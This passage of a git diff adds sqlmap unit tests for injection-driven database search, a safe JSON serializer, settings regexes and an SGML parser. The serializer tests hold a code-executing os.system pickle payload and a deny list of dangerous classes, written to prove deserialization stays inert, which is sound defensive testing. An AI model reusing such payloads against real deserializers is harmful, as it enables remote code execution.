s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_db_exclude_sys_dbs(self): + s = _TestSearch() + conf.db = "testdb" + conf.excludeSysDbs = True + seen = {} + + def gv(query, *a, **k): + seen["query"] = query + return ["testdb"] + smod.inject.getValue = gv + + s.searchDb() + # The exclusion clause for each system DB must be folded into the query. + self.assertIn("information_schema", seen["query"]) + self.assertEqual(conf.dumper.listed[-1][1], ["testdb"]) + + # --- searchTable -------------------------------------------------------- + + def test_search_table_found_grouped_by_db(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = None + smod.inject.getValue = lambda *a, **k: [["testdb", "users"], ["otherdb", "users"]] + + s.searchTable() + + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"], "otherdb": ["users"]}) + # dumpFoundTables is invoked with the same mapping. + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"], "otherdb": ["users"]}) + + def test_search_table_with_db_filter(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = "testdb" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["testdb", "users"]] + smod.inject.getValue = gv + + s.searchTable() + # conf.db present => a WHERE clause restricting to that db is appended. + self.assertIn("testdb", captured["query"]) + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + + def test_search_table_none_found(self): + s = _TestSearch() + conf.tbl = "ghost" + conf.db = None + smod.inject.getValue = lambda *a, **k: None + s.searchTable() + # No tables => dbTables/dumpFoundTables never called. + self.assertIsNone(conf.dumper.dbTablesArg) + self.assertEqual(s.dumpFoundTablesCalls, []) + + # --- searchColumn ------------------------------------------------------- + + def test_search_column_db_and_tbl_provided(self): + s = _TestSearch() + conf.col = "password" + conf.db = "testdb" + conf.tbl = "users" + # With both db & tbl set, searchColumn does NOT call inject for table + # discovery; it assumes the provided db/tbl and calls getColumns. + smod.inject.getValue = lambda *a, **k: self.fail("getValue should not be called") + + s.searchColumn() + + self.assertEqual(conf.dumper.dbColumnsArg[1], '1') # colConsider + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + self.assertEqual(s.dumpFoundColumnCalls[-1][2], '1') + # getColumns was consulted for the assumed db/tbl/col. + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_column_enumerate_tables(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + # db & tbl missing => inject returns (db, table) pairs to scan. + smod.inject.getValue = lambda *a, **k: [["testdb", "users"]] + + s.searchColumn() + + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + # The requested column must have actually landed under the discovered + # db/table (getColumns populated kb.data.cachedColumns, which searchColumn + # folds into dbs); db/table presence alone wouldn't prove that. + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_none_found(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + smod.inject.getValue = lambda *a, **k: None + s.searchColumn() + # Nothing discovered => dumper.dbColumns not called. + self.assertIsNone(conf.dumper.dbColumnsArg) + + # --- search() dispatcher ------------------------------------------------ + + def test_search_dispatch_to_column(self): + s = _TestSearch() + conf.col = "password" + conf.tbl = "users" + conf.db = "testdb" + smod.inject.getValue = lambda *a, **k: None + # Should route to searchColumn (col takes precedence). With db & tbl both + # provided, searchColumn assumes them and consults getColumns for the + # requested db/tbl/col -> at least one recorded call, matching the request. + s.search() + self.assertGreaterEqual(len(s.getColumnsCalls), 1) + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_dispatch_missing_param(self): + s = _TestSearch() + conf.col = None + conf.tbl = None + conf.db = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, s.search) + + +# --------------------------------------------------------------------------- # +# search.py - inference (blind) paths +# --------------------------------------------------------------------------- # + +class _TestSearchInf(Search): + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('2', "='%s'") # exact match (colConsider '2') + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _RecDumper(object): + def __init__(self): + self.listed = [] + self.dbTablesArg = None + self.dbColumnsArg = None + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + +class _SearchBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", + "exclude", "search") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = smod.inject.getValue + self._readInput = smod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_hintValue = kb.get("hintValue") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.dumper = _RecDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._gv + smod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.hintValue = self._saved_hintValue + kb.injection.data = self._saved_injection_data + + +class TestSearchInference(_SearchBase): + def test_search_db_inference(self): + # Blind searchDb: count of matching dbs, then one db name per index. + s = _TestSearchInf() + conf.db = "testdb" + smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) + + def test_search_db_inference_no_match(self): + # Count fails (non-numeric) => no databases appended, empty listing. + s = _TestSearchInf() + conf.db = "ghost" + smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_table_inference_grouped(self): + # Blind searchTable, no conf.db: outer count of dbs holding the table, then + # per-db a name, then per-db a count of matching tables, then table names. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + + # Sequencing by the EXPECTED.INT counts + the per-index string results. + # 1st count: number of databases with the table -> 1 + # 1st db name -> "testdb" + # 2nd count: number of tables in testdb -> 1 + # table name -> "users" + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchTable() + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) + + def test_search_table_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 forces the bruteforce path; declining the prompt returns None + # without any injection. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + self.assertIsNone(s.searchTable()) + + def test_search_column_inference(self): + # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; + # then per-db count of tables with the column, then table name -> getColumns + # folds the column into dbs. + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchColumn() + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_mysql_lt5_bruteforce_decline(self): + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + # Declining returns None and never reaches dbColumns. + self.assertIsNone(s.searchColumn()) + self.assertIsNone(conf.dumper.dbColumnsArg) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_serialize.py b/tests/test_serialize.py new file mode 100644 index 00000000000..fb7b72bcb71 --- /dev/null +++ b/tests/test_serialize.py @@ -0,0 +1,462 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Exhaustive lock on the safe (JSON-based, no code execution) serializer that backs the +session store (HashDB) and BigArray disk chunks - the replacement for the former +code-executing serializer. + +Two properties must hold forever, on BOTH Python 2.7 and 3.x: + + 1. CORRECTNESS - every value sqlmap actually persists must round-trip losslessly, with + its exact type. The historically fragile cases are covered explicitly: integer/tuple + dict keys (naive JSON turns them into strings), tuple-vs-list, set/frozenset, bytes, + the AttribDict/InjectionDict/RawPair classes and their internal state, and the native + DB-driver scalars (Decimal/datetime/...) that '-d' direct-mode output can contain. + A regression here silently corrupts a user's saved session. + + 2. SECURITY - deserialization must NEVER execute code and must reconstruct ONLY the small + explicit class allowlist. Any other class name (os.system, subprocess.Popen, eval, + lib.core.common.shellExec, ...) must be refused with a "forbidden" ValueError, and a + crafted legacy payload must fail inertly (no side effects). + +Kept deliberately verbose - each case maps to a real session/BigArray value or a real report. +""" + +import datetime +import decimal +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray +from lib.core.convert import deserializeValue, encodeBase64, getUnicode, serializeValue +from lib.core.convert import _SERIALIZE_TAG +from lib.core.datatype import AttribDict, InjectionDict, LRUDict +from lib.utils.har import RawPair +from thirdparty import six + +INTS = six.integer_types +_unichr = six.unichr + + +def rt(value): + """Full session round-trip: value -> JSON text -> value.""" + return deserializeValue(serializeValue(value)) + + +def _import_all_modules(): + """Import every sqlmap module (like --smoke-test) so class-subclass reflection sees them all.""" + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for base in ("lib", "plugins", "tamper"): + for dirpath, _, filenames in os.walk(os.path.join(root, base)): + if any(skip in dirpath for skip in ("thirdparty", "extra", "tests", "__pycache__")): + continue + for filename in filenames: + if filename.endswith(".py") and filename not in ("__init__.py", "gui.py"): + dotted = os.path.join(dirpath, filename[:-3]).replace(root + os.sep, "").replace(os.sep, ".") + try: + __import__(dotted) + except Exception: + pass # import health is --smoke-test's job; here we only need the classes that DO load + + +def _all_subclasses(cls): + for sub in cls.__subclasses__(): + yield sub + for _ in _all_subclasses(sub): + yield _ + + +class TestScalars(unittest.TestCase): + def test_simple(self): + for value in [None, True, False, 0, 1, -1, 42, 3.14, -0.5, 0.0]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored) is bool, type(value) is bool) # bool never collapses to int + + def test_big_ints(self): + for value in [2 ** 64, 2 ** 200, -(2 ** 128)]: + self.assertEqual(rt(value), value) + + def test_text(self): + # empty, ascii, non-BMP, sqlmap's reversible-codec private-use-area char, control chars + for value in [u"", u"plain", _unichr(0x2299) + u" mid " + _unichr(0xFF), + _unichr(0x1F600) if sys.maxunicode > 0xFFFF else u"x", + _unichr(0xF0055), u"tab\tnewline\nquote\"backslash\\"]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, six.text_type) + + +class TestBinary(unittest.TestCase): + def test_bytes(self): + for value in [b"", b"abc", b"\x00\x01\x02\xff\xfe", bytes(bytearray(range(256)))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytes) + + def test_bytearray(self): + value = bytearray(b"\x00binary\xff") + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytearray) + + def test_memoryview(self): + # some drivers (e.g. psycopg2 on py3) return memoryview for BLOB columns + restored = rt(memoryview(b"\x00\x01blob")) + self.assertEqual(bytes(restored) if isinstance(restored, (bytearray, memoryview)) else restored, b"\x00\x01blob") + + +class TestContainers(unittest.TestCase): + def test_list_nested(self): + value = [1, [2, [3, [4]]], "x", None] + self.assertEqual(rt(value), value) + + def test_tuple_preserved(self): + for value in [(), (1,), (1, 2, "x"), ((1, 2), (3,))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, tuple) # must NOT degrade to list + + def test_tuple_not_confused_with_list(self): + restored = rt([(1, 2), [1, 2]]) + self.assertIsInstance(restored[0], tuple) + self.assertIsInstance(restored[1], list) + + def test_set_and_frozenset(self): + for value in [set(), {1, 2, 3}, {u"a", u"b"}]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, set) + fs = frozenset([1, 2]) + restored = rt(fs) + self.assertEqual(restored, fs) + self.assertIsInstance(restored, frozenset) + + +class TestDicts(unittest.TestCase): + def test_string_keys(self): + value = {u"a": 1, u"b": {u"c": [1, 2]}} + self.assertEqual(rt(value), value) + + def test_int_keys_preserved(self): + # THE landmine: naive json.dumps turns {1: ...} into {"1": ...}; injection.data is int-keyed + restored = rt({1: u"one", 2: u"two", 100: u"hundred"}) + self.assertEqual(restored, {1: u"one", 2: u"two", 100: u"hundred"}) + self.assertTrue(all(isinstance(k, INTS) for k in restored), list(restored)) + + def test_tuple_and_mixed_keys(self): + value = {(1, 2): u"tuple-key", u"s": 1, 7: u"int-key"} + restored = rt(value) + self.assertEqual(restored, value) + self.assertIn((1, 2), restored) + self.assertTrue(any(isinstance(k, INTS) and not isinstance(k, bool) for k in restored)) + + def test_empty_dict(self): + self.assertEqual(rt({}), {}) + + +class TestSqlmapTypes(unittest.TestCase): + def test_attribdict(self): + value = AttribDict() + value.foo = u"bar" + value["n"] = {u"k": [1, (2, 3)]} + restored = rt(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, u"bar") + self.assertEqual(restored["n"], {u"k": [1, (2, 3)]}) + + def test_attribdict_keycheck_flag_preserved(self): + strict = AttribDict(keycheck=True) + lax = AttribDict(keycheck=False) + self.assertTrue(rt(strict).__dict__.get("_keycheck")) + self.assertFalse(rt(lax).__dict__.get("_keycheck")) + # a lax AttribDict returns None for a missing attribute instead of raising - behaviour must survive + self.assertIsNone(rt(lax).nonexistent_attribute) + + def test_injectiondict_full(self): + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.ptype = 1 + inj.prefix = "" + inj.suffix = "" + inj.dbms = "MySQL" + inj.notes = ["note1"] + # int-keyed .data (PAYLOAD.TECHNIQUE.* are ints), each a nested AttribDict + for stype in (1, 5): + data = AttribDict() + data.title = "technique %d" % stype + data.payload = u"id=1 AND %d=%d" % (stype, stype) + data.where = 1 + data.vector = None + data.matchRatio = 0.987 + data.trueCode = 200 + data.falseCode = 500 + inj.data[stype] = data + inj.conf = AttribDict() + inj.conf.textOnly = False + + restored = rt([inj])[0] + self.assertIsInstance(restored, InjectionDict) + self.assertEqual(restored.place, "GET") + self.assertEqual(restored.parameter, "id") + self.assertEqual(restored.notes, ["note1"]) + self.assertEqual(set(restored.data.keys()), set((1, 5))) + self.assertTrue(all(isinstance(k, INTS) for k in restored.data), list(restored.data)) + self.assertIsInstance(restored.data[1], AttribDict) + self.assertEqual(restored.data[1].title, "technique 1") + self.assertEqual(restored.data[1].matchRatio, 0.987) + self.assertIsNone(restored.data[1].vector) + self.assertIsInstance(restored.conf, AttribDict) + self.assertFalse(restored.conf.textOnly) + + def test_bigarray_type_preserved(self): + # BigArray is a list subclass; it must round-trip AS a BigArray, not degrade to a plain list + restored = rt(BigArray([1, 2, (3, 4), u"x"])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, (3, 4), u"x"]) + + def test_rawpair(self): + # the class stored in a BigArray by the HAR collector + pair = RawPair(b"GET / HTTP/1.1", b"HTTP/1.1 200 OK", startTime=1.5, endTime=2.5, extendedArguments={u"k": u"v"}) + restored = rt(pair) + self.assertIsInstance(restored, RawPair) + self.assertEqual(restored.request, b"GET / HTTP/1.1") + self.assertEqual(restored.response, b"HTTP/1.1 200 OK") + self.assertEqual(restored.startTime, 1.5) + self.assertEqual(restored.extendedArguments, {u"k": u"v"}) + + +class TestDbmsScalars(unittest.TestCase): + # '-d' direct-mode query output (and dump BigArray) can hold native driver types + def test_decimal(self): + for value in [decimal.Decimal("0"), decimal.Decimal("1.50"), decimal.Decimal("-0.0001"), decimal.Decimal("123456789.987654321")]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, decimal.Decimal) + + def test_datetime_family(self): + cases = [ + datetime.datetime(2024, 1, 2, 3, 4, 5, 6), + datetime.datetime(1970, 1, 1, 0, 0, 0), + datetime.date(1999, 12, 31), + datetime.time(23, 59, 58, 123456), + datetime.timedelta(days=3, seconds=7, microseconds=9), + datetime.timedelta(0), + ] + for value in cases: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored), type(value)) + + +class TestRealSessionObjects(unittest.TestCase): + # the exact shapes written with serialize=True across the codebase + def test_brute_tables_columns(self): + tables = [("mydb", "users"), ("mydb", "logs")] + columns = [("mydb", "users", "id", "numeric"), ("mydb", "users", "name", "non-numeric")] + self.assertEqual(rt(tables), tables) + self.assertEqual(rt(columns), columns) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(tables))) + + def test_dynamic_markings(self): + markings = [(u"", None), (None, u"

    "), (u"pre", u"suf")] + self.assertEqual(rt(markings), markings) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(markings))) + + def test_abs_file_paths_set(self): + paths = set([u"/var/www/index.php", u"/etc/passwd"]) + restored = rt(paths) + self.assertEqual(restored, paths) + self.assertIsInstance(restored, set) # resume code does an explicit isinstance(_, set) union + + def test_kb_chars_attribdict(self): + chars = AttribDict() + chars.delimiter = u"abcdef" + chars.start = u"//start//" + chars.stop = u"//stop//" + restored = rt(chars) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.delimiter, u"abcdef") + + +class TestSecurity(unittest.TestCase): + def _forged(self, class_name): + # the raw on-wire object wrapper as a hostile session file would hold it (a plain JSON + # object tag; NOT produced via the encoder, which would re-tag a dict as a harmless map) + return json.dumps({_SERIALIZE_TAG: "o", "c": class_name, "s": {}}) + + def test_forbidden_classes_rejected(self): + for name in ("os.system", "subprocess.Popen", "builtins.eval", "__builtin__.eval", + "lib.core.common.shellExec", "lib.core.common.evaluateCode", "lib.core.common.openFile"): + try: + deserializeValue(self._forged(name)) + self.fail("class %r was NOT rejected" % name) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (name, ex)) + + def test_legacy_payload_fails_inertly(self): + # an OLD session stored base64-of-pickle as TEXT; the new text reader must fail on it + # WITHOUT executing anything (and, in practice, the bumped HASHDB_MILESTONE_VALUE means such + # a value is never even looked up). Use a classic protocol-0 os.system pickle as the payload. + sentinel = os.path.join(tempfile.gettempdir(), "sqlmap_serialize_sentinel_%d" % os.getpid()) + if os.path.exists(sentinel): + os.remove(sentinel) + legacy_pickle = b"cos\nsystem\n(S'touch " + sentinel.encode("ascii", "ignore") + b"'\ntR." + legacy_stored = encodeBase64(legacy_pickle, binary=False) # exactly what old sqlmap wrote + try: + deserializeValue(legacy_stored) # base64 blob is not valid JSON -> raises + except Exception: + pass # any failure is fine; the point is no execution + self.assertFalse(os.path.exists(sentinel), "legacy payload EXECUTED (sentinel created)") + + def test_hashdb_ignores_undecodable_old_value(self): + # the belt-and-suspenders guarantee: even if an un-deserializable (e.g. legacy) value IS + # looked up, HashDB.retrieve() swallows it and returns None - a stale session never crashes + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + db = HashDB(path) + db.write("legacy", encodeBase64(b"cos\nsystem\n(S'x'\ntR.", binary=False)) # stored, NOT serialized + db.flush() + db._write_cache.clear() + db._read_cache.cache.clear() + self.assertIsNone(db.retrieve("legacy", unserialize=True)) # must be None, not an exception + db.closeAll() + finally: + if os.path.exists(path): + os.remove(path) + + def test_sqlmap_type_not_in_allowlist_fails_loud(self): + # a sqlmap-own class that is not allowlisted must raise on SERIALIZE (dev-visible), never be + # silently dropped - LRUDict lives in lib.* and is not serializable + self.assertRaises(TypeError, serializeValue, LRUDict(capacity=2)) + + def test_foreign_exotic_value_degrades_to_text(self): + # a non-sqlmap, non-handled scalar degrades to its textual form rather than crashing a session + self.assertEqual(rt(complex(1, 2)), getUnicode(complex(1, 2))) + + +class TestBigArrayDisk(unittest.TestCase): + def test_scalar_chunks_through_disk(self): + ba = BigArray(chunk_size=1) # force one chunk per item -> exercises the on-disk path + source = [] + for i in range(300): + row = (i, u"name%d" % i, decimal.Decimal("%d.25" % i), None, b"\x00\xff") + source.append(row) + ba.append(row) + self.assertGreater(len(ba.chunks), 1) + self.assertEqual(len(ba), 300) + self.assertEqual(list(ba), source) + self.assertEqual(ba[150], source[150]) + self.assertEqual(ba[-1], source[-1]) + + def test_rawpair_chunks_through_disk(self): + ba = BigArray(chunk_size=1) + for i in range(40): + ba.append(RawPair(b"REQ%d" % i, b"RESP%d" % i, startTime=float(i), endTime=float(i) + 1, extendedArguments={u"i": i})) + got = list(ba) + self.assertEqual(len(got), 40) + self.assertTrue(all(isinstance(_, RawPair) for _ in got)) + self.assertEqual(got[7].request, b"REQ7") + self.assertEqual(got[7].extendedArguments, {u"i": 7}) + + +class TestAllowlistGuard(unittest.TestCase): + """CI guard: catch a NEW class becoming serializable before it reaches a user's session.""" + + def test_allowlist_names_resolve_and_stay_in_sync(self): + # every allowlisted name must resolve to a class whose real module.qualname matches - keeps + # convert._SERIALIZE_CLASSES and convert._serializeResolveClass in lockstep (a rename/move/ + # typo of an allowlisted class fails here instead of silently at a user's session load) + from lib.core.convert import _SERIALIZE_CLASSES, _serializeResolveClass + for name in _SERIALIZE_CLASSES: + cls = _serializeResolveClass(name) + self.assertEqual("%s.%s" % (cls.__module__, cls.__name__), name) + + def test_no_undeclared_attribdict_subclass(self): + # AttribDict/InjectionDict carry the session's structured data. A NEW AttribDict subclass that + # ends up stored in the session would be REJECTED by the serializer at a user's runtime. Catch + # it here coverage-INDEPENDENTLY: import the whole tree, then require every AttribDict subclass + # to be declared serializable in convert._SERIALIZE_CLASSES. + from lib.core.convert import _SERIALIZE_CLASSES + from lib.core.datatype import AttribDict + + _import_all_modules() + + offenders = sorted(set( + "%s.%s" % (cls.__module__, cls.__name__) + for cls in _all_subclasses(AttribDict) + ) - set(_SERIALIZE_CLASSES)) + + self.assertEqual(offenders, [], ( + "undeclared AttribDict subclass(es): %s -- if stored in the session, add it to BOTH " + "convert._SERIALIZE_CLASSES and convert._serializeResolveClass (else the safe serializer " + "raises on it at a user's runtime). If it is a runtime-only registry, make it subclass a " + "plain dict instead of AttribDict (see lib.core.unescaper.Unescaper) so it never lands " + "here." % offenders + )) + + def test_known_serializable_classes_present(self): + # lock the intended set: exactly the dict-like data types plus the HAR RawPair. If this list + # legitimately grows, update it here deliberately (a conscious review point). + from lib.core.convert import _SERIALIZE_CLASSES + self.assertEqual(set(_SERIALIZE_CLASSES), set(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", + ))) + + +class TestHashDBIntegration(unittest.TestCase): + def test_write_retrieve_roundtrip(self): + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.data[1] = AttribDict() + inj.data[1].title = "boolean-based blind" + inj.data[1].matchRatio = 0.9 + value = [inj] + + db = HashDB(path) + db.write("KB_INJECTIONS", value, serialize=True) + db.flush() + # drop the in-memory caches so retrieve() must SELECT the serialized blob back off + # disk and deserialize it (the real resume path), rather than returning a cached object + db._write_cache.clear() + db._read_cache.cache.clear() + restored = db.retrieve("KB_INJECTIONS", unserialize=True) + db.closeAll() + + self.assertIsInstance(restored, list) + self.assertIsInstance(restored[0], InjectionDict) + self.assertEqual(restored[0].place, "GET") + self.assertTrue(all(isinstance(k, INTS) for k in restored[0].data)) + self.assertEqual(restored[0].data[1].title, "boolean-based blind") + self.assertEqual(restored[0].data[1].matchRatio, 0.9) + finally: + if os.path.exists(path): + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 00000000000..ddfceccf75a --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Compiled-regex battery for lib/core/settings.py. + +settings.py defines ~40 module-level *_REGEX patterns that drive WAF/error/ +charset/IP/title detection. A bad edit to any one of them is a silent failure +(detection just stops firing). This compiles them all and pins the behavior of +the high-traffic detection patterns with positive + negative cases. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.settings as S +from lib.core.common import extractRegexResult + + +class TestAllRegexesCompile(unittest.TestCase): + def test_every_regex_constant_compiles(self): + names = [n for n in dir(S) if n.endswith("_REGEX")] + self.assertGreater(len(names), 20, msg="expected many *_REGEX constants") + failures = [] + for name in names: + value = getattr(S, name) + if isinstance(value, str): + # some carry a single %s placeholder (e.g. SENSITIVE_DATA_REGEX) - fill it before compiling + candidate = value.replace("%s", "X") if "%s" in value else value + try: + re.compile(candidate) + except re.error as ex: + failures.append("%s: %s" % (name, ex)) + self.assertEqual(failures, [], msg="non-compiling regexes: %s" % failures) + + +class TestDetectionPatterns(unittest.TestCase): + def test_ip_address(self): + self.assertTrue(re.search(S.IP_ADDRESS_REGEX, "connect to 192.168.0.1 now")) + self.assertFalse(re.search(S.IP_ADDRESS_REGEX, "999.999.999.999")) + + def test_permission_denied(self): + self.assertEqual(extractRegexResult(S.PERMISSION_DENIED_REGEX, "access denied for user 'x'"), + "access denied") + + def test_parameter_splitting(self): + self.assertEqual(re.split(S.PARAMETER_SPLITTING_REGEX, "a,b;c|d"), ["a", "b", "c", "d"]) + + def test_html_title(self): + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "Hello"), "Hello") + # case-insensitive tag, first-of-two wins, empty/absent -> None (probed) + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "x"), "x") + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "AB"), "A") + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "")) + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "no title here")) + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py new file mode 100644 index 00000000000..4195ed8b1f2 --- /dev/null +++ b/tests/test_sgmllib.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/sgmllib.py -- the SGML/HTML parser used internally by +sqlmap for page content analysis. Exercises the parser with valid SGML/HTML +constructs and verifies the event stream. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.sgmllib import SGMLParser + + +class RecordingParser(SGMLParser): + """SGMLParser subclass that records parse events AND delegates to parent.""" + + def __init__(self): + SGMLParser.__init__(self) + self.events = [] + + def _gather_data(self): + """Extract concatenated text from data events.""" + return "".join(body for ev in self.events if ev[0] == "data" for body in (ev[1],)) + + def handle_data(self, data): + self.events.append(("data", data)) + + def handle_comment(self, data): + self.events.append(("comment", data)) + SGMLParser.handle_comment(self, data) + + def handle_decl(self, decl): + self.events.append(("decl", decl)) + + def handle_pi(self, data): + self.events.append(("pi", data)) + + def handle_charref(self, name): + self.events.append(("charref", name)) + SGMLParser.handle_charref(self, name) # do the actual conversion -> handle_data + + def handle_entityref(self, name): + self.events.append(("entityref", name)) + SGMLParser.handle_entityref(self, name) # do the actual conversion -> handle_data + + def unknown_starttag(self, tag, attrs): + self.events.append(("start", tag, attrs)) + + def unknown_endtag(self, tag): + self.events.append(("end", tag)) + + def unknown_charref(self, ref): + self.events.append(("unknown_charref", ref)) + + def unknown_entityref(self, ref): + 